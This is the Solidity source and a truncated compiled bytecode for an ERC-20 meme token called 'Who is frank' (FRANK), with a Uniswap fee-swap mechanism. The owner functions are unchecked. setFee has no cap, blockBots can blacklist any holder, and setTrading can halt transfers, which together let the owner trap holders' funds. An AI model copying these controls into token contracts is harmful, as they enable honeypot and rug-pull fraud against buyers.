KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF AKKKKNNKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKANKKKKKKKKKKKKKKKKKKKKN RNANKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKNNNNKKKKKKKKKKKAAAR ANNNRRAKKKKKKKKKKKKNNAKNNA RRANKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKNNKKKKKKKFFF RKKNNKKKKKKKKKKKKKKKKKKKKKKR FFNKKKKKKKKKKKKKKKKKKK
KKKKKKKKKNRFFFRRFRF RRARANKN FAKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKA FKKKKKKKKKKKKKKKKKK
KKKKKKNF FAAKARR RNNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKKKKKKKKKKKKK
KKKKKA FRRRANKNKKKKKKKKKKKKKANNRRKKKKKKKKKKKKKKKKKKKKKKKKKKKKKNF AKKKKKKKKKKKKKK
KKKKKR FRAANNAKKNNAAARFR FFNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN KKKKKKKKKKKKKK
KKKKKNRRRR RFFRANKN FRRNKKKKKKKKKKKKKKKKKKKKKKKKKKKK NKKKKKKKKKKKK
KKKKKKKKNRR FFFFFF KKKKKKKKKA RNKKKKKKKKKKKKKKKKKKKKKKKKKKK AKKKKKKKKKKK
KKKKR KKKKKF F RKNF AKKKKKKKKKN FANKKKNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF AKKKKKKKKKK
KKKK RKKKKKK FKKKKR FRNAAR FRNNNKKNNARF KKKKKKKKKKKKKKA RKKKKKKKKKKKKF KKKKKKKKK
KKKK FKKKKKKKKK FFRAKA RKKKKKKKKKKKKKKKF RNNKKKKKKKKKK KKKKKKKKKKKKKR AKKKKKKKK
KKKR KKKKKKKKKR FAAR KKKKKKKKKKKKKKKKKK FRANKKNAR NKKKKKKKKKKKKKK RKKKKKKK
KKK KKKKKKKKK RNNKKKNN NKKKKKKKA FKKKR FRF FRFFF FAKKKKKKKKKKKKKKKKF AKKKKKKK
KKK KKKKKKKR RKKKKKNAAA KKKKKA AKF RKKKKKKKKKNNAA RKKKKKKKKKKKKKKKKKKA AKKKKKKK
KKKNNNNNKKKKR KKKKKKKNNAAAN KKKKK R NKKKKKKKKKKKKKKN FAKK KKKKKKKKKKKKKKKKKKA RKKKKKKK
KKKKNNNAAANNR AKKKKNNNAARNA NKKKKA FF FKKKKKKKKKKKKKKKKKKKKKK AKKKKKKKKKKKKKKKNKF AKKKKKKKK
KKKKKKKKARAF FKKKKNNAAAAANNNA AKKKKKKKNR FRKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKK KKKKKKKKK
KKKKKKKKKKK NKKNNNAAAAAANNNKKNR RRARRRFRNKKKKKKKKKKKKKKKKKKKKKKKKKKKAKKKKKKKKKKKKKK KKKKKKKKK
KKKKKKKKKN KKNAAANAAAAAAANNNKKKNAAAANKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKKKKKK
KKKKKKKKKK AKNAAANNAAAAAAAAAAKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK FKKKKKKKKKK
KKKKKKKKKK KKNAAANAAAAAAAAAARNKKKKKKKKKKKKKKKKKKKKKKKKKKKNKKKKKKKKKKKKKKKKKKKKKKKKF F KKKKKKKKKK
KKKKKKKKKN KKNNNNNNANNNNNAAAARNKKKKKKKKKKKKKKKKKKKKKKKNAR AKKKKKKKKKKKKKKKKKKKKKK FF KKKKKKKKKK
KKKKKKKKKKKKNNNNNNNNNARF ANKKKKKKKKKKKKKKKKNNNAR AKKKKKKKKKKKKKKKKKKKKK A FNKKKKKKKKKK
KKKKKKKKKKF RKKKKKKKNAR RKKKKKKKKKKKKKKKKKKKKARR FR NKKKKKKKKKKK
KKKKKKKKKKF RKA NNN FRRAANKKKKKKKKKKKKKKKKKKKKKKKKF AKKKKKKKKKKK
KKKKKKKKKKR N RKNKNKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKKKKKKKK
KKKKKKKKKKNF F RKAAAAANNKKKKKKNAKKK AKKKKKKKKKKKKKNNNNANKKKKKKKKKKKKKF RKKK AKKKKKKKKKKK
KKKKKKKKKKKKKAAA R FKKKKKKKKKKKKKKKKKKKA AKKKKKKKKKKKKNAAANKKKKKKKKKKKKK FKKKK KKKKKKKKKKKKK
KKKKKKKKKKKKKKKAFNA FN FKKKKKKKKKKKKKKKNANKKA NKKKKKKKKKKKKKKKKKKKKKKKKKKKN AKKKKR KKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKRRKR NKKKKKKKKKKKKKKKKNA KKKKKKKKKKKKKKKKKKKKKKKKKKA NKKKKKF KKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKNKKKK AKKKKKKKKKKKKKKK RK FKKKKKKKKKKKKKKKKKKKKKKKKN KKKKKKK KKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKR AKKKKKKKKKKKKKA KKF KKKKKKKKKKKKKKKKKKKKKKKN KKKKKKK KKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKNF RKKKKKKKKKKKK KKKK KKKKKKKKKKKKKKKKKKKKKKA NKKKNNR AKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKN KKKKKKKKKKR KKKK KKKKKKKKKKKKKKKKKKKKK FNAAKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKR RKKKKKKK KKKKK NKKKKKKKKKKKKKKKKKKK AKKKKKKKKKKKNNKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF FAR FRKKKKK RKKKKKKKKKKKKKKKKKK KKKKKKKKKKKNAANKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKNARRRRRRKKKKKKKK RKKKKKKKKKKKKKKKKKA AKKKKKKKKKKKNKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKA FKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF KKKKKKKKKKKKKKKR RKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKR KKKKKKKKKKKKKA FKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKF NKKKKKKKKKR NKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKR RKKKKNR AKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKFF FAKKKKKKKKKKKKKKKKKKKAAKKKKKKKKKKKAKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAAAAAAKKKKKKKKKKKKKKKKKKKKKAARNANNANNAANNAAAAKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAAAANARANAANAANAAKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKNANRKARAAAAKRAAAAAKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FRANK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Who is frank";
string private constant _symbol = "FRANK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 1;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xFDa3660fDd14afe3813C3E9025926502caFAF28C);
address payable private _marketingAddress = payable(0xFDa3660fDd14afe3813C3E9025926502caFAF28C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b457600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611959565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b57686f206973206672616e6b60a01b60208201525b60405161023c9190611a1e565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a73565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611a9f565b6106b5565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601554610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae0565b61071e565b34801561037157600080fd5b506101fc610380366004611b0d565b610769565b34801561039157600080fd5b506101fc6107b1565b3480156103a657600080fd5b506102c56103b5366004611ae0565b6107fc565b3480156103c657600080fd5b506101fc61081e565b3480156103db57600080fd5b506101fc6103ea366004611b28565b610892565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae0565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610295565b34801561045c57600080fd5b506101fc61046b366004611b0d565b6108c1565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b506040805180820190915260058152644652414e4b60d81b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b28565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b41565b610938565b34801561050057600080fd5b5061026561050f366004611a73565b610976565b34801561052057600080fd5b5061026561052f366004611ae0565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b73565b6109d7565b34801561058557600080fd5b506102c5610594366004611bf7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b28565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611ae0565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c30565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c65565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c91565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611da9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c30565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c30565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c30565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c30565b60005b82811015610a72578160056000868685818110610a2357610a23611c65565b9050602002016020810190610a389190611ae0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c91565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c30565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c30565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611caa565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a